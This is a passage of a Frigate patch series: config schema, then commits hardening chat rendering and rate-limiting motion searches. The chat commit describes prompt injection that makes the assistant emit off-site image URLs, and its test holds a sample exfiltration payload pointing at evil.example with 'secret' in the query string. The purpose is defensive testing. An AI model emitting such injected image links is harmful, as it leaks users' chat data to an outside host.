"RecordPreviewConfig": {"additionalProperties": false, "properties": {"quality": {"$ref": "#/$defs/RecordQualityEnum", "default": "medium", "description": "Preview quality level (very_low, low, medium, high, very_high).", "title": "Preview quality"}}, "title": "RecordPreviewConfig", "type": "object"}, "RecordQualityEnum": {"enum": ["very_low", "low", "medium", "high", "very_high"], "title": "RecordQualityEnum", "type": "string"}, "RecordRetainConfig": {"additionalProperties": false, "properties": {"days": {"default": 0, "description": "Days to retain recordings.", "minimum": 0, "title": "Retention days", "type": "number"}}, "title": "RecordRetainConfig", "type": "object"}, "RecordSubConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable recording of a second, lower quality stream for adaptive quality playback and extended retention.", "title": "Enable sub stream recording", "type": "boolean"}, "continuous": {"$ref": "#/$defs/RecordRetainConfig", "description": "Number of days to retain sub stream recordings regardless of tracked objects or motion.", "title": "Sub stream continuous retention"}, "motion": {"$ref": "#/$defs/RecordRetainConfig", "description": "Number of days to retain sub stream recordings triggered by motion.", "title": "Sub stream motion retention"}, "alerts": {"$ref": "#/$defs/ReviewRetainConfig", "description": "Retention settings for sub stream recordings of alerts.", "title": "Sub stream alert retention"}, "detections": {"$ref": "#/$defs/ReviewRetainConfig", "description": "Retention settings for sub stream recordings of detections.", "title": "Sub stream detection retention"}}, "title": "RecordSubConfig", "type": "object"}, "ReplaceRule": {"additionalProperties": false, "properties": {"pattern": {"title": "Regex pattern", "type": "string"}, "replacement": {"title": "Replacement string", "type": "string"}}, "required": ["pattern", "replacement"], "title": "ReplaceRule", "type": "object"}, "RestreamConfig": {"additionalProperties": true, "properties": {}, "title": "RestreamConfig", "type": "object"}, "RetainConfig": {"additionalProperties": false, "properties": {"default": {"type": "number", "default": 10, "title": "Default retention", "description": "Default number of days to retain snapshots."}, "objects": {"additionalProperties": {"type": "number"}, "description": "Per-object overrides for snapshot retention days.", "title": "Object retention", "type": "object"}}, "title": "RetainConfig", "type": "object"}, "RetainModeEnum": {"enum": ["all", "motion", "active_objects"], "title": "RetainModeEnum", "type": "string"}, "ReviewConfig": {"additionalProperties": false, "properties": {"alerts": {"$ref": "#/$defs/AlertsConfig", "description": "Settings for which tracked objects generate alerts and how alerts are retained.", "title": "Alerts config"}, "detections": {"$ref": "#/$defs/DetectionsConfig", "description": "Settings for which tracked objects generate detections (non-alert) and how detections are retained.", "title": "Detections config"}, "genai": {"$ref": "#/$defs/GenAIReviewConfig", "description": "Controls use of generative AI for producing descriptions and summaries of review items.", "title": "GenAI config"}}, "title": "ReviewConfig", "type": "object"}, "ReviewFrameModeEnum": {"description": "How review frames are presented to the GenAI provider.", "enum": ["frames", "annotated_frames"], "title": "ReviewFrameModeEnum", "type": "string"}, "ReviewResponseStyleEnum": {"description": "Writing style presets for GenAI review descriptions.", "enum": ["default", "natural", "concise", "detailed"], "title": "ReviewResponseStyleEnum", "type": "string"}, "ReviewRetainConfig": {"additionalProperties": false, "properties": {"days": {"default": 10, "description": "Number of days to retain recordings of detection events.", "minimum": 0, "title": "Retention days", "type": "number"}, "mode": {"$ref": "#/$defs/RetainModeEnum", "default": "motion", "description": "Mode for retention: all (save all segments), motion (save segments with motion), or active_objects (save segments with active objects).", "title": "Retention mode"}}, "title": "ReviewRetainConfig", "type": "object"}, "SemanticSearchConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable the semantic search feature.", "title": "Enable semantic search", "type": "boolean"}, "reindex": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": false, "description": "Trigger a full reindex of historical tracked objects into the embeddings database.", "title": "Reindex on startup"}, "model": {"anyOf": [{"$ref": "#/$defs/SemanticSearchModelEnum"}, {"type": "string"}, {"type": "null"}], "default": "jinav1", "description": "The embeddings model to use for semantic search (for example 'jinav1'), or the name of a GenAI provider with the embeddings role.", "title": "Semantic search model or GenAI provider name"}, "model_size": {"$ref": "#/$defs/ModelSizeEnum", "default": "small", "description": "Select model size; 'small' runs on CPU and 'large' typically requires GPU.", "title": "Model size"}, "device": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "This is an override, to target a specific device. See https://onnxruntime.ai/docs/execution-providers/ for more information", "title": "Device"}}, "title": "SemanticSearchConfig", "type": "object"}, "SemanticSearchModelEnum": {"enum": ["jinav1", "jinav2"], "title": "SemanticSearchModelEnum", "type": "string"}, "SnapshotsConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable saving snapshots for all cameras; can be overridden per-camera.", "title": "Enable snapshots", "type": "boolean"}, "timestamp": {"default": false, "description": "Overlay a timestamp on snapshots from API.", "title": "Timestamp overlay", "type": "boolean"}, "bounding_box": {"default": true, "description": "Draw bounding boxes for tracked objects on snapshots from API.", "title": "Bounding box overlay", "type": "boolean"}, "crop": {"default": false, "description": "Crop snapshots from API to the detected object's bounding box.", "title": "Crop snapshot", "type": "boolean"}, "required_zones": {"description": "Zones an object must enter for a snapshot to be saved.", "items": {"type": "string"}, "title": "Required zones", "type": "array"}, "height": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Height (pixels) to resize snapshots from API to; leave empty to preserve original size.", "title": "Snapshot height"}, "retain": {"$ref": "#/$defs/RetainConfig", "description": "Retention settings for snapshots including default days and per-object overrides.", "title": "Snapshot retention"}, "quality": {"default": 60, "description": "Encode quality for saved snapshots (0-100).", "maximum": 100, "minimum": 0, "title": "Snapshot quality", "type": "integer"}}, "title": "SnapshotsConfig", "type": "object"}, "StationaryConfig": {"additionalProperties": false, "properties": {"interval": {"anyOf": [{"exclusiveMinimum": 0, "type": "integer"}, {"type": "null"}], "default": null, "description": "How often (in frames) to run a detection check to confirm a stationary object.", "title": "Stationary interval"}, "threshold": {"anyOf": [{"minimum": 1, "type": "integer"}, {"type": "null"}], "default": null, "description": "Number of frames with no position change required to mark an object as stationary.", "title": "Stationary threshold"}, "max_frames": {"$ref": "#/$defs/StationaryMaxFramesConfig", "description": "Limits how long stationary objects are tracked before being discarded.", "title": "Max frames"}, "classifier": {"default": true, "description": "Use a visual classifier to detect truly stationary objects even when bounding boxes jitter.", "title": "Enable visual classifier", "type": "boolean"}}, "title": "StationaryConfig", "type": "object"}, "StationaryMaxFramesConfig": {"additionalProperties": false, "properties": {"default": {"anyOf": [{"minimum": 1, "type": "integer"}, {"type": "null"}], "default": null, "title": "Default max frames", "description": "Default maximum frames to track a stationary object before stopping."}, "objects": {"additionalProperties": {"type": "integer"}, "description": "Per-object overrides for maximum frames to track stationary objects.", "title": "Object max frames", "type": "object"}}, "title": "StationaryMaxFramesConfig", "type": "object"}, "StatsConfig": {"additionalProperties": false, "properties": {"amd_gpu_stats": {"default": true, "description": "Enable collection of AMD GPU statistics if an AMD GPU is present.", "title": "AMD GPU stats", "type": "boolean"}, "intel_gpu_stats": {"default": true, "description": "Enable collection of Intel GPU statistics if an Intel GPU is present.", "title": "Intel GPU stats", "type": "boolean"}, "network_bandwidth": {"default": false, "description": "Enable per-process network bandwidth monitoring for camera ffmpeg processes and detectors (requires capabilities).", "title": "Network bandwidth", "type": "boolean"}, "intel_gpu_device": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "PCI bus address or DRM device path (e.g. /dev/dri/card1) used to pin Intel GPU stats to a specific device when multiple are present.", "title": "Intel GPU device"}}, "title": "StatsConfig", "type": "object"}, "TelemetryConfig": {"additionalProperties": false, "properties": {"network_interfaces": {"default": [], "description": "List of network interface name prefixes to monitor for bandwidth statistics.", "items": {"type": "string"}, "title": "Network interfaces", "type": "array"}, "stats": {"$ref": "#/$defs/StatsConfig", "description": "Options to enable/disable collection of various system and GPU statistics.", "title": "System stats"}, "version_check": {"default": true, "description": "Enable an outbound check to detect if a newer Frigate version is available.", "title": "Version check", "type": "boolean"}}, "title": "TelemetryConfig", "type": "object"}, "TimeFormatEnum": {"enum": ["browser", "12hour", "24hour"], "title": "TimeFormatEnum", "type": "string"}, "TimestampEffectEnum": {"enum": ["solid", "shadow"], "title": "TimestampEffectEnum", "type": "string"}, "TimestampPositionEnum": {"enum": ["tl", "tr", "bl", "br"], "title": "TimestampPositionEnum", "type": "string"}, "TimestampStyleConfig": {"additionalProperties": false, "properties": {"position": {"$ref": "#/$defs/TimestampPositionEnum", "default": "tl", "description": "Position of the timestamp on the image (tl/tr/bl/br).", "title": "Timestamp position"}, "format": {"default": "%m/%d/%Y %H:%M:%S", "description": "Datetime format string used for timestamps (Python datetime format codes).", "title": "Timestamp format", "type": "string"}, "color": {"$ref": "#/$defs/ColorConfig", "description": "RGB color values for the timestamp text (all values 0-255).", "title": "Timestamp color"}, "thickness": {"default": 2, "description": "Line thickness of the timestamp text.", "title": "Timestamp thickness", "type": "integer"}, "effect": {"anyOf": [{"$ref": "#/$defs/TimestampEffectEnum"}, {"type": "null"}], "default": null, "description": "Visual effect for the timestamp text (none, solid, shadow).", "title": "Timestamp effect"}}, "title": "TimestampStyleConfig", "type": "object"}, "TlsConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable TLS for Frigate's web UI and API on the configured TLS port.", "title": "Enable TLS", "type": "boolean"}}, "title": "TlsConfig", "type": "object"}, "TriggerAction": {"enum": ["notification", "sub_label", "attribute"], "title": "TriggerAction", "type": "string"}, "TriggerConfig": {"additionalProperties": false, "properties": {"friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional friendly name displayed in the UI for this trigger.", "title": "Friendly name"}, "enabled": {"default": true, "description": "Enable or disable this semantic search trigger.", "title": "Enable this trigger", "type": "boolean"}, "type": {"$ref": "#/$defs/TriggerType", "default": "description", "description": "Type of trigger: 'thumbnail' (match against image) or 'description' (match against text).", "title": "Trigger type"}, "data": {"description": "Text phrase or thumbnail ID to match against tracked objects.", "title": "Trigger content", "type": "string"}, "threshold": {"default": 0.8, "description": "Minimum similarity score (0-1) required to activate this trigger.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Trigger threshold", "type": "number"}, "actions": {"default": [], "description": "List of actions to execute when trigger matches (notification, sub_label, attribute).", "items": {"$ref": "#/$defs/TriggerAction"}, "title": "Trigger actions", "type": "array"}}, "required": ["data"], "title": "TriggerConfig", "type": "object"}, "TriggerType": {"enum": ["thumbnail", "description"], "title": "TriggerType", "type": "string"}, "UIConfig": {"additionalProperties": false, "properties": {"timezone": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Optional timezone to display across the UI (defaults to browser local time if unset).", "title": "Timezone"}, "time_format": {"$ref": "#/$defs/TimeFormatEnum", "default": "browser", "description": "Time format to use in the UI (browser, 12hour, or 24hour).", "title": "Time format"}, "unit_system": {"$ref": "#/$defs/UnitSystemEnum", "default": "metric", "description": "Unit system for display (metric or imperial) used in the UI and MQTT.", "title": "Unit system"}}, "title": "UIConfig", "type": "object"}, "UnitSystemEnum": {"enum": ["imperial", "metric"], "title": "UnitSystemEnum", "type": "string"}, "ZoneConfig": {"properties": {"friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "A user-friendly name for the zone, displayed in the Frigate UI. If not set, a formatted version of the zone name will be used.", "title": "Zone name"}, "enabled": {"default": true, "description": "Enable or disable this zone. Disabled zones are ignored at runtime.", "title": "Enabled", "type": "boolean"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Keep track of original state of zone."}, "filters": {"additionalProperties": {"$ref": "#/$defs/FilterConfig"}, "description": "Filters to apply to objects within this zone. Used to reduce false positives or restrict which objects are considered present in the zone.", "title": "Zone filters", "type": "object"}, "coordinates": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Polygon coordinates that define the zone area. Can be a comma-separated string or a list of coordinate strings. Coordinates should be relative (0-1) or absolute (legacy).", "title": "Coordinates"}, "distances": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}, {"type": "null"}], "description": "Optional real-world distances for each side of the zone quadrilateral, used for speed or distance calculations. Must have exactly 4 values if set.", "title": "Real-world distances"}, "inertia": {"default": 3, "description": "Number of consecutive frames an object must be detected in the zone before it is considered present. Helps filter out transient detections.", "exclusiveMinimum": 0, "title": "Inertia frames", "type": "integer"}, "loitering_time": {"default": 0, "description": "Number of seconds an object must remain in the zone to be considered as loitering. Set to 0 to disable loitering detection.", "minimum": 0, "title": "Loitering seconds", "type": "integer"}, "speed_threshold": {"anyOf": [{"minimum": 0.1, "type": "number"}, {"type": "null"}], "default": null, "description": "Minimum speed (in real-world units if distances are set) required for an object to be considered present in the zone. Used for speed-based zone triggers.", "title": "Minimum speed"}, "objects": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "List of object types (from labelmap) that can trigger this zone. Can be a string or a list of strings. If empty, all objects are considered.", "title": "Trigger objects"}}, "required": ["coordinates"], "title": "ZoneConfig", "type": "object"}, "ZoomingModeEnum": {"enum": ["disabled", "absolute", "relative"], "title": "ZoomingModeEnum", "type": "string"}}, "additionalProperties": false, "properties": {"version": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Numeric or string version of the active configuration to help detect migrations or format changes.", "title": "Current config version"}, "safe_mode": {"default": false, "description": "When enabled, start Frigate in safe mode with reduced features for troubleshooting.", "title": "Safe mode", "type": "boolean"}, "environment_vars": {"additionalProperties": {"type": "string"}, "description": "Key/value pairs of environment variables to set for the Frigate process in Home Assistant OS. Non-HAOS users must use Docker environment variable configuration instead.", "title": "Environment variables", "type": "object"}, "logger": {"$ref": "#/$defs/LoggerConfig", "description": "Controls default log verbosity and per-component log level overrides.", "title": "Logging"}, "auth": {"$ref": "#/$defs/AuthConfig", "description": "Authentication and session-related settings including cookie and rate limit options.", "title": "Authentication"}, "database": {"$ref": "#/$defs/DatabaseConfig", "description": "Settings for the SQLite database used by Frigate to store tracked object and recording metadata.", "title": "Database"}, "go2rtc": {"$ref": "#/$defs/RestreamConfig", "description": "Settings for the integrated go2rtc restreaming service used for live stream relaying and translation.", "title": "go2rtc"}, "mqtt": {"$ref": "#/$defs/MqttConfig", "description": "Settings for connecting and publishing telemetry, snapshots, and event details to an MQTT broker.", "title": "MQTT"}, "notifications": {"$ref": "#/$defs/NotificationConfig", "description": "Settings to enable and control notifications for all cameras; can be overridden per-camera.", "title": "Notifications"}, "networking": {"$ref": "#/$defs/NetworkingConfig", "description": "Network-related settings such as IPv6 enablement for Frigate endpoints.", "title": "Networking"}, "proxy": {"$ref": "#/$defs/ProxyConfig", "description": "Settings for integrating Frigate behind a reverse proxy that passes authenticated user headers.", "title": "Proxy"}, "telemetry": {"$ref": "#/$defs/TelemetryConfig", "description": "System telemetry and stats options including GPU and network bandwidth monitoring.", "title": "Telemetry"}, "tls": {"$ref": "#/$defs/TlsConfig", "description": "TLS settings for Frigate's web endpoints (port 8971).", "title": "TLS"}, "ui": {"$ref": "#/$defs/UIConfig", "description": "User interface preferences such as timezone, time/date formatting, and units.", "title": "UI"}, "models": {"description": "Object detection models and the hardware each one runs on. Cameras pick a model by matching their detect.scene against a model's scene, falling back to the 'default' model.", "items": {"$ref": "#/$defs/ModelConfig"}, "title": "Detection models", "type": "array"}, "genai": {"additionalProperties": {"$ref": "#/$defs/GenAIConfig"}, "description": "Settings for integrated generative AI providers used to generate object descriptions and review summaries.", "title": "Generative AI configuration", "type": "object"}, "cameras": {"additionalProperties": {"$ref": "#/$defs/CameraConfig"}, "description": "Cameras", "title": "Cameras", "type": "object"}, "audio": {"$ref": "#/$defs/AudioConfig", "description": "Settings for audio-based event detection for all cameras; can be overridden per-camera.", "title": "Audio detection"}, "birdseye": {"$ref": "#/$defs/BirdseyeConfig", "description": "Settings for the Birdseye composite view that composes multiple camera feeds into a single layout.", "title": "Birdseye"}, "detect": {"$ref": "#/$defs/DetectConfig", "description": "Settings for the detection/detect role used to run object detection and initialize trackers.", "title": "Object Detection"}, "ffmpeg": {"$ref": "#/$defs/FfmpegConfig", "description": "FFmpeg settings including binary path, args, hwaccel options, and per-role output args.", "title": "FFmpeg"}, "live": {"$ref": "#/$defs/CameraLiveConfig", "description": "Settings to control the jsmpeg live stream resolution and quality. This does not affect restreamed cameras that use go2rtc for live view.", "title": "Live playback"}, "motion": {"anyOf": [{"$ref": "#/$defs/MotionConfig"}, {"type": "null"}], "default": null, "description": "Default motion detection settings applied to cameras unless overridden per-camera.", "title": "Motion detection"}, "objects": {"$ref": "#/$defs/ObjectConfig", "description": "Object tracking defaults including which labels to track and per-object filters.", "title": "Objects"}, "record": {"$ref": "#/$defs/RecordConfig", "description": "Recording and retention settings applied to cameras unless overridden per-camera.", "title": "Recording"}, "review": {"$ref": "#/$defs/ReviewConfig", "description": "Settings that control alerts, detections, and GenAI review summaries used by the UI and storage.", "title": "Review"}, "snapshots": {"$ref": "#/$defs/SnapshotsConfig", "description": "Settings for API-generated snapshots of tracked objects for all cameras; can be overridden per-camera.", "title": "Snapshots"}, "timestamp_style": {"$ref": "#/$defs/TimestampStyleConfig", "description": "Styling options for in-feed timestamps applied to debug view and snapshots.", "title": "Timestamp style"}, "audio_transcription": {"$ref": "#/$defs/AudioTranscriptionConfig", "description": "Settings for live and speech audio transcription used for events and live captions.", "title": "Audio transcription"}, "classification": {"$ref": "#/$defs/ClassificationConfig", "description": "Settings for classification models used to refine object labels or state classification.", "title": "Object classification"}, "semantic_search": {"$ref": "#/$defs/SemanticSearchConfig", "description": "Settings for Semantic Search which builds and queries object embeddings to find similar items.", "title": "Semantic Search"}, "face_recognition": {"$ref": "#/$defs/FaceRecognitionConfig", "description": "Settings for face detection and recognition for all cameras; can be overridden per-camera.", "title": "Face recognition"}, "lpr": {"$ref": "#/$defs/LicensePlateRecognitionConfig", "description": "License plate recognition settings including detection thresholds, formatting, and known plates.", "title": "License Plate Recognition"}, "camera_groups": {"additionalProperties": {"$ref": "#/$defs/CameraGroupConfig"}, "description": "Configuration for named camera groups used to organize cameras in the UI.", "title": "Camera groups", "type": "object"}, "profiles": {"additionalProperties": {"$ref": "#/$defs/ProfileDefinitionConfig"}, "description": "Named profile definitions with friendly names. Camera profiles must reference names defined here.", "title": "Profiles", "type": "object"}, "active_profile": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Currently active profile name. Runtime-only, not persisted in YAML.", "title": "Active profile"}}, "required": ["mqtt", "cameras"], "title": "FrigateConfig", "type": "object"} \ No newline at end of file diff --git a/web/public/locales/en/config/global.json b/web/public/locales/en/config/global.json index 35ce6f1051..40d4542c16 100644 --- a/web/public/locales/en/config/global.json +++ b/web/public/locales/en/config/global.json @@ -40,7 +40,7 @@ }, "cookie_secure": { "label": "Secure cookie flag", - "description": "Set the secure flag on the auth cookie; should be true when using TLS." + "description": "Always set the secure flag on the auth cookie. Frigate sets it automatically when serving TLS; enable this when a reverse proxy terminates TLS in front of Frigate. A proxy that connects to the TLS port must serve Frigate to browsers over HTTPS." }, "session_length": { "label": "Session length", From 7af29a5a532766bfd55bbe25ccd0b2b17d3915c9 Mon Sep 17 00:00:00 2001 From: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:47:05 -0500 Subject: [PATCH 08/13] only render same-origin images in chat replies (#24716) Assistant markdown rendered any image URL, so a prompt injection in a GenAI description, transcription, or sub label could make the model emit an image pointing at an outside host and the browser would fetch it with chat context in the query string, without a click. Off-origin images now render as their alt text, and off-origin links open in a new tab with noopener noreferrer. --- web/e2e/specs/chat.spec.ts | 44 +++++++++++++++++++++++++ web/src/components/chat/ChatMessage.tsx | 29 ++++++++++++++++ 2 files changed, 73 insertions(+) diff --git a/web/e2e/specs/chat.spec.ts b/web/e2e/specs/chat.spec.ts index cab49828ab..956bf15ccd 100644 --- a/web/e2e/specs/chat.spec.ts +++ b/web/e2e/specs/chat.spec.ts @@ -218,6 +218,50 @@ test.describe("Chat — streaming @medium", () => { frigateApp.page.getByText(/searching for people/i), ).toBeVisible({ timeout: 5_000 }); }); + + test("assistant markdown renders only same-origin images", async ({ + frigateApp, + }) => { + const reply = + "![leaked alt](https://evil.example/x.png?d=secret) " + + "![local](/api/events/abc/thumbnail.webp) " + + "[offsite](https://evil.example/page)"; + await installChatStreamOverride(frigateApp, [ + { type: "content", delta: reply }, + { + type: "messages", + messages: [ + { role: "system", content: "sys" }, + { role: "user", content: "show me" }, + { role: "assistant", content: reply }, + ], + }, + { type: "done" }, + ]); + const offsiteRequests: string[] = []; + frigateApp.page.on("request", (req) => { + if (req.url().includes("evil.example")) offsiteRequests.push(req.url()); + }); + await frigateApp.goto("/chat"); + const input = frigateApp.page.getByPlaceholder(/ask/i); + await expect(input).toBeVisible({ timeout: 10_000 }); + await input.fill("show me"); + await input.press("Enter"); + + await expect(frigateApp.page.getByText("leaked alt")).toBeVisible({ + timeout: 10_000, + }); + await expect( + frigateApp.page.locator('img[src*="evil.example"]'), + ).toHaveCount(0); + await expect( + frigateApp.page.locator('img[src="/api/events/abc/thumbnail.webp"]'), + ).toHaveCount(1); + const link = frigateApp.page.getByRole("link", { name: "offsite" }); + await expect(link).toHaveAttribute("target", "_blank"); + await expect(link).toHaveAttribute("rel", "noopener noreferrer"); + expect(offsiteRequests).toEqual([]); + }); }); test.describe("Chat — stop @medium", () => { diff --git a/web/src/components/chat/ChatMessage.tsx b/web/src/components/chat/ChatMessage.tsx index c5d9a207f8..5213a539dd 100644 --- a/web/src/components/chat/ChatMessage.tsx +++ b/web/src/components/chat/ChatMessage.tsx @@ -18,6 +18,18 @@ import { cn } from "@/lib/utils"; import { ChatAttachmentChip } from "@/components/chat/ChatAttachmentChip"; import { parseAttachedEvent } from "@/utils/chatUtil"; import type { ChatStats, ShowStatsMode } from "@/types/chat"; +import { baseUrl } from "@/api/baseUrl"; + +// Assistant output can carry prompt-injected URLs, and the browser fetches +// images without a click, so only same-origin images render. +function isSameOrigin(url: string | undefined): boolean { + if (!url) return false; + try { + return new URL(url, baseUrl).origin === window.location.origin; + } catch { + return false; + } +} type MessageBubbleProps = { role: "user" | "assistant"; @@ -223,6 +235,23 @@ export function MessageBubble({ {...props} /> ), + img: ({ node: _n, src, alt, ...props }) => + typeof src === "string" && isSameOrigin(src) ? ( + {alt} + ) : ( + <>{alt} + ), + a: ({ node: _n, href, ...props }) => + isSameOrigin(href) ? ( + + ) : ( + + ), }} > {content} From 796aec7a4a7e7cc81fe64ae18e4a6541e9b48ea0 Mon Sep 17 00:00:00 2001 From: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:52:15 -0500 Subject: [PATCH 09/13] Limit concurrent motion searches (#24717) * limit concurrent motion search jobs and search range Any viewer could start unlimited motion search jobs over an unbounded time range, and finished jobs were never dropped from memory. Each user now gets one active job (409), at most 3 run at once (429), the range is capped at 48 hours, and finished jobs are evicted 10 minutes after they end. Jobs are no longer filed in the shared job manager, which kept every finished job forever. * show translated errors for motion search limits * release the motion search slot if the runner fails to start * keep wedged or shared-identity motion searches from locking out users A stalled VOD read blocked the runner forever, so a wedged job held its user and global slot until restart, and on installs without per-user identity (internal port, or auth disabled without a proxy user header) everyone shared one per-user slot. VOD ffmpeg and ffprobe inputs now use a 30 s rw_timeout, a cancel also drops queued parallel runs, a cancelled job stops counting after 60 s, and the per-user limit only applies when the request carries a real username. A failed runner start also stops its requestor. * treat timed-out VOD segments as motion search errors With rw_timeout, the HLS demuxer skipped a timed-out segment and exited cleanly, so a run reported success with a hole in it, and when the keyframe probe and the decode lost different segments the equal frame counts paired frames with the wrong timestamps. The keyframe path now requires the probe to cover the whole run without a gap over 5 s, a decode whose stderr shows a skipped segment fails the run, and a cadence decode more than 5 s short of the run's duration fails it too, so these runs land in segments_with_errors. The keyframe probe polls should_stop and is killed on cancel, probe_video_dimensions gets the read timeout, and a user's own cancelled job no longer blocks their next search while it still counts toward the global cap. * drop motion search stall detection and range cap * remove motion search range check from the UI --- frigate/api/motion_search.py | 58 +++++++-- frigate/jobs/motion_search.py | 95 +++++++++++--- frigate/jobs/motion_search_decode.py | 29 ++++- .../test/http_api/test_http_motion_search.py | 121 ++++++++++++++++++ frigate/test/test_motion_search_decode.py | 34 ++++- web/public/locales/en/views/motionSearch.json | 2 + .../views/motion-search/MotionSearchView.tsx | 14 ++ 7 files changed, 311 insertions(+), 42 deletions(-) create mode 100644 frigate/test/http_api/test_http_motion_search.py diff --git a/frigate/api/motion_search.py b/frigate/api/motion_search.py index d8449bde98..15f692047e 100644 --- a/frigate/api/motion_search.py +++ b/frigate/api/motion_search.py @@ -9,7 +9,10 @@ from pydantic import BaseModel, Field from frigate.api.auth import require_camera_access from frigate.api.defs.tags import Tags +from frigate.config import FrigateConfig from frigate.jobs.motion_search import ( + MotionSearchCapacityError, + MotionSearchUserBusyError, cancel_motion_search_job, get_motion_search_job, start_motion_search_job, @@ -95,6 +98,20 @@ class MotionSearchStatusResponse(BaseModel): progress: float | None = None +def _per_user_identity(request: Request, config: FrigateConfig) -> str | None: + """Return the requesting user, or None when callers share one identity. + + Internal-port requests are all "anonymous", and with auth disabled and no + proxy user header every browser is "viewer". + """ + username = request.headers.get("remote-user") + if not username or username == "anonymous": + return None + if config.auth.enabled or config.proxy.header_map.user: + return username + return None + + @router.post( "/{camera_name}/search/motion", response_model=MotionSearchStartResponse, @@ -138,18 +155,35 @@ async def start_motion_search( status_code=400, ) - # Start the job using the jobs module - job_id = start_motion_search_job( - config=config, - camera_name=camera_name, - start_time=body.start_time, - end_time=body.end_time, - polygon_points=body.polygon_points, - threshold=body.threshold, - min_area=body.min_area, - parallel=body.parallel, - max_results=body.max_results, - ) + try: + job_id = start_motion_search_job( + config=config, + camera_name=camera_name, + start_time=body.start_time, + end_time=body.end_time, + polygon_points=body.polygon_points, + threshold=body.threshold, + min_area=body.min_area, + parallel=body.parallel, + max_results=body.max_results, + username=_per_user_identity(request, config), + ) + except MotionSearchUserBusyError: + return JSONResponse( + content={ + "success": False, + "message": "A motion search is already running for this user", + }, + status_code=409, + ) + except MotionSearchCapacityError: + return JSONResponse( + content={ + "success": False, + "message": "Too many motion searches are running", + }, + status_code=429, + ) return JSONResponse( content={ diff --git a/frigate/jobs/motion_search.py b/frigate/jobs/motion_search.py index da33f276b8..2d8617972b 100644 --- a/frigate/jobs/motion_search.py +++ b/frigate/jobs/motion_search.py @@ -8,7 +8,7 @@ from collections.abc import Callable, Generator, Iterable from concurrent.futures import Future, ThreadPoolExecutor, as_completed from dataclasses import asdict, dataclass, field from datetime import datetime -from typing import Any, cast +from typing import Any import cv2 import numpy as np @@ -17,10 +17,6 @@ from frigate.comms.inter_process import InterProcessRequestor from frigate.config import FrigateConfig from frigate.const import STREAM_TYPE_MAIN, UPDATE_JOB_STATE from frigate.jobs.job import Job -from frigate.jobs.manager import ( - get_job_by_id, - set_current_job, -) from frigate.jobs.motion_search_batch import ( build_segment_time_map, coalesce_runs, @@ -53,6 +49,12 @@ PROGRESS_BROADCAST_INTERVAL = 1.0 # Output frame rate for the fixed-cadence fallback used on long-GOP cameras # (where keyframe sampling is too sparse). Keyframe cameras ignore this. FALLBACK_SAMPLE_FPS = 2.0 +# Each parallel job runs up to 4 decode workers, so this bounds total ffmpeg load. +MAX_ACTIVE_JOBS = 3 +# Finished jobs stay pollable for this long before eviction (seconds). +FINISHED_JOB_TTL = 600.0 +# A cancelled job stops holding a slot after this long, even if its thread is wedged. +CANCEL_GRACE_SECONDS = 60.0 @dataclass @@ -98,6 +100,8 @@ class MotionSearchJob(Job): min_area: float = 5.0 parallel: bool = False max_results: int = 25 + username: str | None = None + cancelled_at: float | None = None # Track progress total_frames_processed: int = 0 @@ -112,6 +116,8 @@ class MotionSearchJob(Job): def to_dict(self) -> dict[str, Any]: """Convert to dictionary for WebSocket transmission.""" d = asdict(self) + d.pop("username") + d.pop("cancelled_at") if self.metrics: d["metrics"] = self.metrics.to_dict() return d @@ -579,7 +585,7 @@ class MotionSearchRunner(threading.Thread): # Decide keyframe vs fixed-cadence sampling once from the first run's GOP # (keyframe structure is a per-camera constant). - first_pts = probe_vod_keyframe_pts(ffprobe_path, first_url) + first_pts = probe_vod_keyframe_pts(ffprobe_path, first_url, self._should_stop) self.use_keyframe = keyframe_sampling_eligible(first_pts) logger.debug( @@ -641,7 +647,9 @@ class MotionSearchRunner(threading.Thread): time_map = build_segment_time_map(run) if self.use_keyframe: - kf_pts = probe_vod_keyframe_pts(self.ffprobe_path, vod_url) + kf_pts = probe_vod_keyframe_pts( + self.ffprobe_path, vod_url, self._should_stop + ) frames = list( iter_vod_frames( self.ffmpeg_path, @@ -777,13 +785,15 @@ class MotionSearchRunner(threading.Thread): run_results, frames = completed.pop(next_idx) if self._merge_run(runs[next_idx], run_results, frames, state): self.internal_stop_event.set() - for pending in futures: - pending.cancel() break next_idx += 1 if self.internal_stop_event.is_set(): break + + # Queued runs would otherwise still execute when the pool exits. + for pending in futures: + pending.cancel() else: for run in runs: if self._should_stop(): @@ -833,11 +843,36 @@ class MotionSearchRunner(threading.Thread): return deduplicated -# Module-level state for managing per-camera jobs +class MotionSearchUserBusyError(Exception): + """The user already has an active motion search job.""" + + +class MotionSearchCapacityError(Exception): + """The global limit of active motion search jobs is reached.""" + + _motion_search_jobs: dict[str, tuple[MotionSearchJob, threading.Event]] = {} _jobs_lock = threading.Lock() +def _evict_finished_jobs(now: float) -> None: + """Drop jobs that finished more than FINISHED_JOB_TTL ago. Caller holds the lock.""" + expired = [ + job_id + for job_id, (job, _) in _motion_search_jobs.items() + if job.end_time is not None and now - job.end_time > FINISHED_JOB_TTL + ] + for job_id in expired: + del _motion_search_jobs[job_id] + + +def _is_active(job: MotionSearchJob, now: float) -> bool: + """True while the job's thread may still be running and holding a slot.""" + if job.end_time is not None: + return False + return job.cancelled_at is 